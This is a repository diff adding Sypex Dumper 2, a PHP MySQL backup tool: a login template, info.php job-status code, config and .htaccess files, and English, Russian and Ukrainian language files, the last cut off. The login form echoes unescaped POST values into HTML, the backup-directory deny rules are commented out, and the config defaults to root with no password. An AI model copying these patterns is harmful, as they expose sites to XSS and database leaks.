<td width="80">{$SXD->LNG['combo_charset']}</td>
<td width="202"><div id="services_charset"></div></td>
</tr>
<tr>
<td>{$SXD->LNG['combo_collate']}</td>
<td><div id="services_charset_col"></div></td>
</tr>
</table>
</fieldset>
<fieldset>
<legend>{$SXD->LNG['hint']}</legend>
<table cellspacing="3">
<tr>
<td colspan=2 id=charset_hint></td>
</tr>
</table>
</fieldset>
</td>
</tr>
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_exec']}" onclick="sxd.changeCS();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('charsets');"></td></tr>
</table>
</div>
</div>
<div id=sxdMenu style="display:none;z-index:9999;"></div>
<script type="text/javascript">
sxd.init();
sxd.backupUrl = '{$SXD->CFG['backup_url']}';
sxd.tbar.init('sxdToolbar', {$SXD->VAR['toolbar']});
{$SXD->VAR['combos']}
sxd.actions.tab_backup();
</script>
</body>
</html>
HTML;
}
function sxd_tpl_auth($error = ''){
global $SXD;
return <<<HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>{$SXD->name}</title>
<link rel="shortcut icon" href="{$SXD->url}load.php?favicon.v209pro.ico">
<link rel="stylesheet" type="text/css" href="{$SXD->url}load.php?sxd.v209pro.css">
</head>
<body>
<div class="dialog" id="dia_auth">
<div class="header"><a href="http://sypex.net/">{$SXD->name}</a></div>
<div class="content" id="div_1" style="line-height:50px;text-align:center;">{$SXD->LNG['js_required']}</div>
<div class="content" id="div_2" style="display:none;">
<form method="post">
<table cellspacing="5">
<tr>
<td valign="top" colspan="3">
<fieldset>
<legend>{$SXD->LNG['auth']}</legend>
<table cellspacing="3">
<tr>
<td width="90">{$SXD->LNG['auth_user']}</td>
<td width="192"><input type="text" name="user" value="{$_POST['user']}" class="i202"></td>
</tr>
<tr>
<td>{$SXD->LNG['my_pass']}</td>
<td><input type="password" name="pass" value="{$_POST['pass']}" class="i202"></td>
</tr>
<tr>
<td></td>
<td><label><input type="checkbox" name="save" value="1"{$_POST['save']}> {$SXD->LNG['auth_remember']}</label></td>
</tr>
<tr>
<td>Language:</td>
<td><select type="text" name="lang" style="width:198px;" onChange="this.form.submit();">{$SXD->lng_list}</select></td>
</tr>
</table>
<table cellspacing="3" id="hst" style="display:none;">
<tr>
<td width="90">{$SXD->LNG['my_host']}</td>
<td width="116"><input type="text" name="host" style="width:110px;" value="{$_POST['host']}"></td>
<td width="40" align="right">{$SXD->LNG['my_port']}</td>
<td width="36"><input type="text" name="port" maxlength="5" style="width:30px;" value="{$_POST['port']}"></td>
</tr>
</table>
</fieldset>
</td>
</tr>
<tr class="buttons"><td align="left"><input type="button" value="{$SXD->LNG['btn_details']}" onclick="var s = document.getElementById('hst').style; s.display = (s.display == 'block') ? 'none' : 'block';"></td><td align="right"><input type="submit" value="{$SXD->LNG['btn_enter']}"></td></tr>
</table>
</form>
</div>
<script type="text/javascript">document.getElementById('div_1').style.display = 'none';document.getElementById('div_2').style.display = 'block';</script>
</div>
</body>
</html>
HTML;
}

6
sxd/backup/.htaccess Executable file
View File

@ -0,0 +1,6 @@
AddType application/octetstream .gz .bz2 .sql
#<Files ~ "\.(php|log|rtl|stp)$">
#order allow,deny
#deny from all
#</Files>

3
sxd/backup/index.html Executable file
View File

@ -0,0 +1,3 @@
<CENTER>
<H1>У вас нет прав для просмотра этого каталога</H1>
</CENTER>

25
sxd/cfg.php Executable file
View File

@ -0,0 +1,25 @@
<?php
$CFG = array (
'charsets' => 'cp1251 utf8 latin1',
'lang' => 'auto',
'time_web' => '600',
'time_cron' => '600',
'backup_path' => 'backup/',
'backup_url' => 'backup/',
'only_create' => 'MRG_MyISAM MERGE HEAP MEMORY',
'globstat' => 0,
'my_host' => 'localhost',
'my_port' => 3306,
'my_user' => 'root',
'my_pass' => '',
'my_comp' => 0,
'my_db' => '',
'auth' => 'mysql cfg',
'user' => '',
'pass' => '',
'confirm' => '30',
'exitURL' => './',
'outfile_path' => 'backup/',
'outfile_size' => '64',
'debug'=> false
);

BIN
sxd/favicon.ico Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
sxd/img/dot.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 B

BIN
sxd/img/icons.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

0
sxd/img/index.htm Executable file
View File

BIN
sxd/img/load.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

BIN
sxd/img/log_bg.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 264 B

BIN
sxd/img/sel_bg.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 573 B

BIN
sxd/img/tb_bg.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

BIN
sxd/img/tree.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 309 B

2073
sxd/index.php Executable file

File diff suppressed because it is too large Load Diff

137
sxd/info.php Executable file
View File

@ -0,0 +1,137 @@
<?php
// Sypex Dumper 2
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
set_error_handler("sxd_error");
if(!empty($_POST['ajax']['job']) && preg_match("/^[\w-]+$/", $_POST['ajax']['job'])){
$d = date("'Y.m.d H:i:s'");
if(!empty($_COOKIE['sxd'])) {
include('ses.php');
if(!empty($SES[$_COOKIE['sxd']])) {
$CFG = &$SES[$_COOKIE['sxd']]['cfg'];
include(load_lang($SES[$_COOKIE['sxd']]['lng']));
}
}
if(empty($LNG)) {
include('cfg.php');
include(load_lang($CFG['lang']));
if(!empty($CFG['auth'])) {echo "sxd.log.add({$d},[" . esc($LNG['stop_5']) . " (1)]);sxd.hideLoading();"; exit;}
}
$job_name = $_POST['ajax']['job'];
$log_seek = !empty($_POST['ajax']['lseek']) ? (int) $_POST['ajax']['lseek'] : 0;
$job_file = "{$CFG['backup_path']}{$job_name}.job.php";
if (!file_exists($job_file)) exit;
include($job_file);
switch($_POST['ajax']['act']) {
case 'info':
if (!file_exists($JOB['file_rtl'])) exit;
$fh = fopen($JOB['file_rtl'], 'r+b');
$time = time();
$f = explode("\t", fgets($fh));
if(empty($f[0])) $f[0] = $time;
$pt = !empty($f[2]) ? round(100 * $f[10] / $f[2], 2) : 100;
$pc = !empty($f[8]) ? round(100 * $f[7] / $f[8], 2) : 100;
$lh = fopen($JOB['file_log'], 'rb');
fseek($lh, $log_seek);
$rawlog = fread($lh, 8192);
$log = '';
$old_time = '';
$logs = array();
if(!empty($rawlog)){
$temp = explode("\n", $rawlog);
foreach($temp AS $l){
if(empty($l)) continue;
$t = explode("\t", $l);
if(count($t) < 3) continue;
if($t[0] != $old_time){
if(!empty($logs)) $log .= "sxd.log.add('{$old_time}',[" . implode(',', $logs) . "]);";
$old_time = $t[0];
$logs = array();
}
$logs[] = esc($t[2]);
}
if(!empty($logs)) $log .= "sxd.log.add('{$old_time}',[" . implode(',', $logs) . "]);";
}
$log_seek = ftell($lh);
echo $log . "sxd.job.log_seek = {$log_seek};";
// Читаем лог
if($f[4] == 'EOJ') {
$pt = $pc = 100;
fclose($lh);
fclose($fh);
if (function_exists('usleep')) usleep(400000);
else sleep(1);
if($JOB['act'] == 'backup') $f[3] = filesize(file_exists($JOB['file_name']) ? $JOB['file_name'] : $JOB['file_tmp']);
// Обновляем список файлов
if($JOB['act'] == 'backup') print "sxd.actions.filelist(); z('btn_down').file = '{$JOB['file']}'; z('btn_down').style.display = '';";
echo "sxd.timer.set({$f[0]},{$f[1]},{$pt});sxd.progress.current.set({$pc}, 0, {$f[8]}, {$f[8]});sxd.progress.total.set({$pt},{$f[3]});";
echo "sxd.log.add({$d},['{$LNG['job_done']}', '{$LNG['js']['records']}: {$f[10]}', '{$LNG['file_size']}: ' + sxd.formatSize({$f[3]},2), '{$LNG['job_time']}: {$f[5]} {$LNG['seconds']}']);sxd.hideLoading();";
unlink($JOB['file_log']);
unlink($JOB['file_rtl']);
unlink($job_file);
}
else if($f[9] > 0){
echo "sxd.log.add({$d},[" . esc($LNG['stop_' . $f[9]]) . "]);" . (($f[9] == 3 || $f[9] == 4) ? 'sxd.resumeJob();' : 'sxd.hideLoading();');
}
else{
if($JOB['act'] == 'backup') $f[3] = filesize(file_exists($JOB['file_name']) ? $JOB['file_name'] : $JOB['file_tmp']);
if($f[4] != 'EK' && time() > $f[1] + 450) {
fopen($JOB['file_stp'],'w');
$f[9] = 0;
$f[1] = $time;
fwrite($fh, implode("\t", $f) . "\n");
echo "sxd.log.add({$d},[" . esc($LNG['job_freeze']) . "]);sxd.hideLoading();z('btn_resume').style.display = '';z('btn_pause').style.display = 'none';";
}
echo "sxd.timer.set({$f[0]},{$time},{$pt});sxd.progress.current.set({$pc},0,{$f[7]}, {$f[8]});sxd.progress.total.set({$pt},{$f[3]});";
}
break;
case 'stop':
$fs = fopen($JOB['file_stp'],'w');
fwrite($fs, 1);
echo "sxd.log.add({$d},[" . esc($LNG['stop_job']) . "]);";
break;
case 'pause':
fopen($JOB['file_stp'],'w');
echo "sxd.log.add({$d},[" . esc($LNG['stop_job']) . "]);";
break;
}
}
else echo "sxd.hideLoading();";
function load_lang($lng_name = 'auto'){
if($lng_name == 'auto'){
include('lang/list.php');
$lng = 'en';
if(preg_match_all('/[a-z]{2}(-[a-z]{2})?/', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $m)) {
foreach($m[0] AS $l){
if(isset($langs[$l])){
$lng_name = $l;
break;
}
}
}
}
if(file_exists("lang/lng_{$lng_name}.php")) return "lang/lng_{$lng_name}.php";
else return "lang/lng_en.php";
}
function esc($str){
return "'" . addcslashes($str, "\\\0\n\r\t\'") . "'";
}
function sxd_error($errno, $errmsg, $filename, $linenum, $vars){
global $JOB;
if($errno == 8192) return;
if(strpos($errmsg, 'timezone settings')) return;
if(!empty($JOB['file_stp'])) fopen($JOB['file_stp'],'w');
$errortype = array(1 => 'Error', 2 => 'Warning', 4 => 'Parsing Error', 8 => 'Notice', 16 => 'Core Error', 32 => 'Core Warning', 64 => 'Compile Error',
128 => 'Compile Warning', 256 => 'User Error', 512 => 'User Warning', 1024 => 'User Notice');
$str = "{$errortype[$errno]}: {$errmsg} ({$filename}:{$linenum})";
//error_log("[info.php]\n{$str}\n", 3, "error.log");
if($errno == 8 || $errno == 1024) {
echo "sxd.log.add('" . date("Y.m.d H:i:s") . "',[" . esc($str) . "], 4);sxd.hideLoading();";
}
elseif($errno < 1024) {
echo "sxd.log.add('" . date("Y.m.d H:i:s") . "',[" . esc($str) . "], 4);sxd.hideLoading();";
die;
}
}

0
sxd/lang/index.htm Executable file
View File

7
sxd/lang/list.php Executable file
View File

@ -0,0 +1,7 @@
<?php
$langs = array (
'en' => 'English',
'ru' => 'Русский',
'uk' => 'Українська',
);
?>

236
sxd/lang/lng_en.php Executable file
View File

@ -0,0 +1,236 @@
<?php
// Language File for Sypex Dumper 2
$LNG = array(
// Information about the language file
'ver' => 20007, // Dumper version
'translated' => 'zapimir (http://sypex.net/)', // Contacts
'name' => 'English', // Lang name
// Toolbar
'tbar_backup' => 'Export',
'tbar_restore' => 'Import',
'tbar_files' => 'Files',
'tbar_services' => 'Services',
'tbar_options' => 'Options',
'tbar_createdb' => 'Create DB',
'tbar_connects' => 'Connection',
'tbar_exit' => 'Exit',
// Names of objects in the tree
'obj_tables' => 'Tables',
'obj_views' => 'Views',
'obj_procs' => 'Procedures',
'obj_funcs' => 'Functions',
'obj_trigs' => 'Triggers',
'obj_events' => 'Events',
// Export
'zip_max' => 'max',
'zip_min' => 'min',
'zip_none' => 'Uncompressed',
'default' => 'default',
'combo_db' => 'Database (Schema):',
'combo_charset' => 'Charset:',
'combo_zip' => 'Compression:',
'combo_comments' => 'Comment:',
'del_legend' => 'Autodelete if:',
'del_date' => 'age of files more than %s days',
'del_count' => 'number of files more than %s',
'tree' => 'Select objects:',
'no_saved' => 'No saved jobs',
'btn_save' => 'Save',
'btn_exec' => 'Execute',
'outfile' => 'OUTFILE mode',// 2.0.7 pro
// Import
'combo_file' => 'File:',
'combo_strategy' => 'Restore strategy:',
'ext_legend' => 'Extended options:',
'correct' => 'Charset correction',
'autoinc' => 'Reset AUTO_INCREMENT',
'prefix' => 'Replace prefix from %s to %s',// 2.0.7 pro
'savesql' => 'Save to SQL-file',// 2.0.7 pro
'infile' => ' to file',// 2.0.7 pro
// Log
'status_current' => 'Current status:',
'status_total' => 'Total status:',
'time_elapsed' => 'Elapsed:',
'time_left' => 'Left:',
'btn_stop' => 'Abort',
'btn_pause' => 'Pause',
'btn_resume' => 'Resume',
'btn_again' => 'Repeat',
'btn_clear' => 'Clear log',
// Files
'btn_delete' => 'Delete',
'btn_download' => 'Download',
'btn_open' => 'Open',
// Services
'opt_check' => 'Options for Check:',
'opt_repair' => 'Options for Repair:',
'btn_delete_db' => 'Delete DB',
'btn_check' => 'Check',
'btn_repair' => 'Repair',
'btn_analyze' => 'Analyze',
'btn_optimize' => 'Optimize',
'btn_extra' => 'Extra...',// 2.0.7 pro
// Options
'cfg_legend' => 'Basic settings:',
'cfg_time_web' => 'Timelimit web (seconds):',
'cfg_time_cron' => 'Timelimit cron (seconds):',
'cfg_backup_path' => 'Path to backup directory:',
'cfg_backup_url' => 'URL to backup directory:',
'cfg_globstat' => 'Global statistics:',
'cfg_extended' => 'Extended settings:',
'cfg_charsets' => 'Charset filter:',
'cfg_only_create' => 'Only create types:',
'cfg_auth' => 'Authorization chain:',
'cfg_confirm' => 'Ask confirmation for:',
'cfg_conf_import' => 'import',
'cfg_conf_file' => 'file delete',
'cfg_conf_db' => 'database delete',
'cfg_conf_truncate' => 'table empty',// 2.0.7 pro
'cfg_conf_drop' => 'table delete',// 2.0.7 pro
'cfg_outfile_path' => 'Path for OUTFILE:',// 2.0.7 pro
'cfg_outfile_size' => 'OUTFILE buffer size (МБ):',// 2.0.7 pro
// Connection
'con_header' => 'Connection Settings',
'connect' => 'Connection',
'my_host' => 'Host:',
'my_port' => 'Port:',
'my_user' => 'User:',
'my_pass' => 'Password:',
'my_pass_hidden' => 'Password is not shown',
'my_comp' => 'Compression protocol',
'my_db' => 'Databases:',
'btn_cancel' => 'Cancel',
// Save Job
'sj_header' => 'Save job',
'sj_job' => 'Job',
'sj_name' => 'Name (eng.):',
'sj_title' => 'Description:',
// Create DB
'cdb_header' => 'Create new database',
'cdb_detail' => 'Details',
'cdb_name' => 'Name:',
'combo_collate' => 'Collation:',
'btn_create' => 'Create',
'hint' => 'Hint',// 2.0.7 pro
// Authorization
'js_required' => 'JavaScript must be enabled',
'auth' => 'Authorization',
'auth_user' => 'User:',
'auth_remember' => 'remember',
'btn_enter' => 'Enter',
'btn_details' => 'Details',
// Log messages
'not_found_rtl' => 'RTL-file not exists',
'backup_begin' => 'Start export DB `%s`',
'backup_TC' => 'Export table `%s`',
'backup_VI' => 'Export view `%s`',
'backup_PR' => 'Export procedure `%s`',
'backup_FU' => 'Export function `%s`',
'backup_EV' => 'Export event `%s`',
'backup_TR' => 'Export trigger `%s`',
'continue_from' => 'from positions %s',
'backup_end' => 'Export database `%s` finished.',
'autodelete' => 'Autodelete of old files:',
'del_by_date' => '- `%s` - deleted (by date)',
'del_by_count' => '- `%s` - deleted (by count)',
'del_fail' => '- `%s` - delete fail',
'del_nothing' => '- no files to delete',
'set_names' => 'Set connection encoding: `%s`',
'restore_begin' => 'Start import DB `%s`',
'restore_TC' => 'Import table `%s`',
'restore_VI' => 'Import view `%s`',
'restore_PR' => 'Import procedure `%s`',
'restore_FU' => 'Import function `%s`',
'restore_EV' => 'Import event `%s`',
'restore_TR' => 'Import trigger `%s`',
'restore_keys' => 'Enable indexes',
'restore_end' => 'DB `%s` restored from a backup.',
'stop_1' => 'Execution aborted by user',
'stop_2' => 'Execution stopped by user',
'stop_3' => 'Execution stopped by timer',
'stop_4' => 'Execution stopped by timeout',
'stop_5' => 'Execution aborted because of an error',
'job_done' => 'Job successful',
'file_size' => 'File size',
'job_time' => 'Time spent',
'seconds' => 'seconds',
'job_freeze' => 'The process has not been updated for more than 30 seconds. Click Resume',
'stop_job' => 'Stop request',
// For JS
'js' => array(
// Tabs names
'backup' => 'Export database (schema)',
'restore' => 'Import database (schema)',
'log' => 'Log',
'result' => 'Results',
'files' => 'Files',
'services' => 'Services',
'options' => 'Options',
// Tables header
'dt' => 'Date/time',
'action' => 'Action',
'db' => 'Database',
'type' => 'Type',
'tab' => 'Tabs',
'records' => 'Records',
'size' => 'Size',
'comment' => 'Comments',
// AJAX Status
'load' => 'Loading',
'run' => 'Running...',
'sdb' => 'Create new database',
'sc' => 'Save connection',
'sj' => 'Save job',
'so' => 'Save options',
// Messages
'pro' => 'Option available only in Pro-version',
'err_fopen' => 'Unable to open file',
'err_sxd2' => 'View file contents available only for files created by Sypex Dumper 2',
'err_empty_db' => 'Database is empty',
'fdc' => 'Do you really want to delete file?',
'ddc' => 'Do you really want to delete database?',
'fic' => 'Do you really want to import file?',
'ttc' => 'Do you really want to empty table?',// 2.0.7 pro
'tdc' => 'Do you really want to delete table?',// 2.0.7 pro
// Sizes
'sizes' => array('B', 'KB', 'MB', 'GB'),
// Изменение/исправление кодировки
'chc_header' => 'Change charset',// 2.0.7 pro
'coc_header' => 'Correct charset',// 2.0.7 pro
'hint_chc' => 'Change charset needed in cases where you need to change the encoding tables and data, for example, from cp1251 to utf8.',// 2.0.7 pro
'hint_coc' => 'Correct charset needed in cases where a table is specified one encoding, and data to another. For example, a table in latin1, and the data in cp1251.',// 2.0.7 pro
'need_backup' => 'It is recommended to make a backup of the database.',// 2.0.7 pro
// Долнительные сервисы
'btn_chc' => 'Change charset',// 2.0.7 pro
'btn_coc' => 'Correct charset',// 2.0.7 pro
'btn_enable' => 'Enable keys',// 2.0.7 pro
'btn_disable' => 'Disable keys',// 2.0.7 pro
'btn_truncate' => 'Empty table',// 2.0.7 pro
'btn_drop' => 'Delete table',// 2.0.7 pro
'btn_drop_db' => 'Delete DB',// 2.0.7 pro
)
);
?>

236
sxd/lang/lng_ru.php Executable file
View File

@ -0,0 +1,236 @@
<?php
// Language File for Sypex Dumper 2
$LNG = array(
// Информация о файле локализации
'ver' => 20007, // Для какой версии предназначен файл
'translated' => 'zapimir (http://sypex.net/)', // Контакты переводчика
'name' => 'Русский', // Название языка
// Панель инструментов
'tbar_backup' => 'Экспорт',
'tbar_restore' => 'Импорт',
'tbar_files' => 'Файлы',
'tbar_services' => 'Сервисы',
'tbar_options' => 'Опции',
'tbar_createdb' => 'Создать БД',
'tbar_connects' => 'Соединение',
'tbar_exit' => 'Выход',
// Названия объектов в дереве
'obj_tables' => 'Таблицы',
'obj_views' => 'Представления',
'obj_procs' => 'Процедуры',
'obj_funcs' => 'Функции',
'obj_trigs' => 'Триггеры',
'obj_events' => 'События',
// Экспорт
'zip_max' => 'максимум',
'zip_min' => 'минимум',
'zip_none' => 'Без сжатия',
'default' => 'по умолчанию',
'combo_db' => 'База данных:',
'combo_charset' => 'Кодировка:',
'combo_zip' => 'Сжатие:',
'combo_comments' => 'Комментарий:',
'del_legend' => 'Автоудаление, если:',
'del_date' => 'файлам больше %s дней',
'del_count' => 'количество файлов более %s',
'tree' => 'Выберите объекты:',
'no_saved' => '*Нет сохраненных задач',
'btn_save' => 'Сохранить',
'btn_exec' => 'Выполнить',
'outfile' => 'Режим OUTFILE',// 2.0.7 pro
// Импорт
'combo_file' => 'Файл:',
'combo_strategy' => 'Стратегия восстановления:',
'ext_legend' => 'Дополнительные опции:',
'correct' => 'Коррекция кодировки',
'autoinc' => 'Обнулить AUTO_INCREMENT',
'prefix' => 'Изменить префикс с %s на %s',// 2.0.7 pro
'savesql' => 'Сохранить в SQL-файл',// 2.0.7 pro
'infile' => ' в файл',// 2.0.7 pro
// Лог
'status_current' => 'Текущий статус:',
'status_total' => 'Общий статус:',
'time_elapsed' => 'Прошло:',
'time_left' => 'Осталось:',
'btn_stop' => 'Прервать',
'btn_pause' => 'Пауза',
'btn_resume' => 'Продолжить',
'btn_again' => 'Повторить',
'btn_clear' => 'Очистить лог',
// Файлы
'btn_delete' => 'Удалить',
'btn_download' => 'Скачать',
'btn_open' => 'Открыть',
// Сервисы
'opt_check' => 'Опции для Проверить:',
'opt_repair' => 'Опции для Починить:',
'btn_delete_db' => 'Удалить БД',
'btn_check' => 'Проверить',
'btn_repair' => 'Починить',
'btn_analyze' => 'Анализировать',
'btn_optimize' => 'Оптимизировать',
'btn_extra' => 'Дополнительно...',// 2.0.7 pro
// Опции
'cfg_legend' => 'Основные настройки:',
'cfg_time_web' => 'Время выполнения в web (сек.):',
'cfg_time_cron' => 'Время выполнения в cron (сек.):',
'cfg_backup_path' => 'Путь к каталогу backup:',
'cfg_backup_url' => 'URL к каталогу backup:',
'cfg_globstat' => 'Глобальная статистика:',
'cfg_extended' => 'Расширенные настройки:',
'cfg_charsets' => 'Фильтр для кодировок:',
'cfg_only_create' => 'Бэкап только структуры:',
'cfg_auth' => 'Цепочка авторизации:',
'cfg_confirm' => 'Спрашивать подтверждение для:',
'cfg_conf_import' => 'импорта БД',
'cfg_conf_file' => 'удаления файла',
'cfg_conf_db' => 'удаления БД',
'cfg_conf_truncate' => 'очистки таблиц',// 2.0.7 pro
'cfg_conf_drop' => 'удаления таблиц',// 2.0.7 pro
'cfg_outfile_path' => 'Путь для OUTFILE:',// 2.0.7 pro
'cfg_outfile_size' => 'Размер буффера для OUTFILE (МБ):',// 2.0.7 pro
// Соединение
'con_header' => 'Параметры соединения',
'connect' => 'Соединение',
'my_host' => 'Хост:',
'my_port' => 'Порт:',
'my_user' => 'Пользователь:',
'my_pass' => 'Пароль:',
'my_pass_hidden' => 'Пароль не показан',
'my_comp' => 'Протокол со сжатием',
'my_db' => 'Базы данных:',
'btn_cancel' => 'Отмена',
// Сохранение задания
'sj_header' => 'Сохранение задания',
'sj_job' => 'Задание',
'sj_name' => 'Имя (англ.):',
'sj_title' => 'Описание:',
// Создание БД
'cdb_header' => 'Создание базы данных',
'cdb_detail' => 'Детали',
'cdb_name' => 'Название:',
'combo_collate' => 'Сравнение',
'btn_create' => 'Создать',
'hint' => 'Подсказка',// 2.0.7 pro
// Авторизация
'js_required' => 'JavaScript должен быть включен',
'auth' => 'Авторизация',
'auth_user' => 'Пользователь:',
'auth_remember' => 'Запомнить',
'btn_enter' => 'Войти',
'btn_details' => 'Детали',
// Сообщения в логе
'not_found_rtl' => 'Отсутствует RTL-файл',
'backup_begin' => 'Начало экспорта БД `%s`',
'backup_TC' => 'Экспорт таблицы `%s`',
'backup_VI' => 'Экспорт представления `%s`',
'backup_PR' => 'Экспорт процедуры `%s`',
'backup_FU' => 'Экспорт функции `%s`',
'backup_EV' => 'Экспорт события `%s`',
'backup_TR' => 'Экспорт триггера `%s`',
'continue_from' => 'с позиции %s',
'backup_end' => 'Резервная копия БД `%s` создана.',
'autodelete' => 'Автоудаление старых файлов:',
'del_by_date' => '- `%s` - удален (по дате)',
'del_by_count' => '- `%s` - удален (по дате)',
'del_fail' => '- `%s` - удалить не удалось',
'del_nothing' => '- нет файлов для удаления',
'set_names' => 'Установлена кодировка соединения: `%s`',
'restore_begin' => 'Начало импорта БД `%s`',
'restore_TC' => 'Импорт таблицы `%s`',
'restore_VI' => 'Импорт представления `%s`',
'restore_PR' => 'Импорт процедуры `%s`',
'restore_FU' => 'Импорт функции `%s`',
'restore_EV' => 'Импорт события `%s`',
'restore_TR' => 'Импорт триггера `%s`',
'restore_keys' => 'Включение индексов',
'restore_end' => 'БД `%s` восстановлена из резервной копии.',
'stop_1' => 'Выполнение прервано пользователем',
'stop_2' => 'Выполнение остановлено пользователем',
'stop_3' => 'Выполнение остановлено по таймеру',
'stop_4' => 'Выполнение остановлено по таймауту',
'stop_5' => 'Выполнение прервано из-за ошибки',
'job_done' => 'Задание успешно выполнено',
'file_size' => 'Размер файла',
'job_time' => 'Времени затрачено',
'seconds' => 'сек.',
'job_freeze' => 'Процесс не обновлялся более 30 секунд. Нажмите Продолжить',
'stop_job' => 'Запрос на остановку',
// Надписи в JS
'js' => array(
// Названия вкладок
'backup' => 'Экспорт базы данных',
'restore' => 'Импорт базы данных',
'log' => 'Лог действий',
'result' => 'Результат выполнения',
'files' => 'Файлы резервных копий',
'services' => 'Сервисы',
'options' => 'Опции',
// Заголовки таблиц
'dt' => 'Дата и время',
'action' => 'Действие',
'db' => 'База данных',
'type' => 'Тип',
'tab' => 'Табл.',
'records' => 'Записей',
'size' => 'Размер',
'comment' => 'Комментарий',
// Статусы
'load' => 'Загрузка',
'run' => 'Выполнение...',
'sdb' => 'Создание базы данных',
'sc' => 'Сохранение соединения',
'sj' => 'Сохранение задания',
'so' => 'Сохранение опций',
// Сообщения
'pro' => 'Опция доступна только в Pro-версии',
'err_fopen' => 'Не удается открыть файл',
'err_sxd2' => 'Просмотр содержимого файла доступен только для файлов созданных Sypex Dumper 2',
'err_empty_db' => 'База данных пустая',
'fdc' => 'Вы действительно хотите удалить файл?',
'ddc' => 'Вы действительно хотите удалить базу данных?',
'fic' => 'Вы действительно хотите импортировать файл?',
'ttc' => 'Вы действительно хотите очистить таблицы?',// 2.0.7 pro
'tdc' => 'Вы действительно хотите удалить таблицы?',// 2.0.7 pro
// Сокращения размеров файла
'sizes' => array('Б', 'КБ', 'МБ', 'ГБ'),
// Изменение/исправление кодировки
'chc_header' => 'Изменение кодировки',// 2.0.7 pro
'coc_header' => 'Исправление кодировки',// 2.0.7 pro
'hint_chc' => 'Изменение кодировки нужно в случаях, когда нужно изменить кодировку таблицы и данных, например, из cp1251 в utf8.',// 2.0.7 pro
'hint_coc' => 'Исправление кодировки нужно в случаях, когда у таблицы указана одна кодировка, а данные в другой. Например, таблица в latin1, а данные в cp1251.',// 2.0.7 pro
'need_backup' => 'Рекомендуется предварительно сделать бэкап базы данных.',// 2.0.7 pro
// Долнительные сервисы
'btn_chc' => 'Изменить кодировку',// 2.0.7 pro
'btn_coc' => 'Исправить кодировку',// 2.0.7 pro
'btn_enable' => 'Включить индексы',// 2.0.7 pro
'btn_disable' => 'Выключить индексы',// 2.0.7 pro
'btn_truncate' => 'Очистить таблицы',// 2.0.7 pro
'btn_drop' => 'Удалить таблицы',// 2.0.7 pro
'btn_drop_db' => 'Удалить БД',// 2.0.7 pro
)
);
?>

236
sxd/lang/lng_uk.php Executable file
View File

@ -0,0 +1,236 @@
<?php
// Language File for Sypex Dumper 2
$LNG = array(
// Информация о файле локализации
'ver' => 20007, // Для какой версии дампера предназначен файл
'translated' => 'dmytro (http://sypex.net/)', // Контакты переводчика
'name' => 'Українська', // Название языка
// Панель инструментов
'tbar_backup' => 'Експорт',
'tbar_restore' => 'Імпорт',
'tbar_files' => 'Файли',
'tbar_services' => 'Сервіси',
'tbar_options' => 'Опції',
'tbar_createdb' => 'Створити БД',
'tbar_connects' => 'З’єднання',
'tbar_exit' => 'Вихід',
// Названия объектов в дереве
'obj_tables' => 'Таблиці',
'obj_views' => 'Представлення',
'obj_procs' => 'Процедури',
'obj_funcs' => 'Функції',
'obj_trigs' => 'Тригери',
'obj_events' => 'Події',
// Экспорт
'zip_max' => 'максимум',
'zip_min' => 'мінімум',
'zip_none' => 'Без стиснення',
'default' => 'стандартно',
'combo_db' => 'База даних:',
'combo_charset' => 'Кодування:',
'combo_zip' => 'Стиснення:',
'combo_comments' => 'Коментар:',
'del_legend' => 'Автовидалення, якщо:',
'del_date' => 'файлам більше %s днів',
'del_count' => 'кількість файлів понад %s',
'tree' => 'Виберіть об’єкти:',
'no_saved' => 'Немає збережених завдань',
'btn_save' => 'Зберегти',
'btn_exec' => 'Виконати',
'outfile' => 'Режим OUTFILE',// 2.0.7 pro
// Импорт
'combo_file' => 'Файл:',
'combo_strategy' => 'Стратегія відновлення:',
'ext_legend' => 'Додаткові опції:',
'correct' => 'Корекція кодування',
'autoinc' => 'Обнулити AUTO_INCREMENT',
'prefix' => 'Змінити префікс з %s на %s',// 2.0.7 pro
'savesql' => 'Зберегти в SQL-файл',// 2.0.7 pro
'infile' => ' в файл',// 2.0.7 pro
// Лог
'status_current' => 'Поточний статус:',
'status_total' => 'Загальний статус:',
'time_elapsed' => 'Пройшло:',
'time_left' => 'Залишилося:',
'btn_stop' => 'Перервати',
'btn_pause' => 'Пауза',
'btn_resume' => 'Продовжити',
'btn_again' => 'Повторити',
'btn_clear' => 'Очистити лог',
// Файлы
'btn_delete' => 'Видалити',
'btn_download' => 'Завантажити',
'btn_open' => 'Відкрити',
// Сервисы
'opt_check' => 'Опції для Перевірити:',
'opt_repair' => 'Опції для Полагодити:',
'btn_delete_db' => 'Видалити БД',
'btn_check' => 'Перевірити',
'btn_repair' => 'Полагодити',
'btn_analyze' => 'Аналізувати',
'btn_optimize' => 'Оптимізувати',
'btn_extra' => 'Додатково...',// 2.0.7 pro
// Опции
'cfg_legend' => 'Основні налаштування:',
'cfg_time_web' => 'Час виконання у web (сек.):',
'cfg_time_cron' => 'Час виконання у cron (сек.):',
'cfg_backup_path' => 'Шлях до каталогу backup:',
'cfg_backup_url' => 'URL до каталогу backup:',
'cfg_globstat' => 'Глобальна статистика:',
'cfg_extended' => 'Розширені налаштування:',
'cfg_charsets' => 'Фільтр для кодувань:',
'cfg_only_create' => 'Бекап лише структури:',
'cfg_auth' => 'Ланцюжок авторизації:',
'cfg_confirm' => 'Запитувати підтвердження для:',
'cfg_conf_import' => 'імпорту БД',
'cfg_conf_file' => 'видалення файлу',
'cfg_conf_db' => 'видалення БД',
'cfg_conf_truncate' => 'очищення таблиць',// 2.0.7 pro
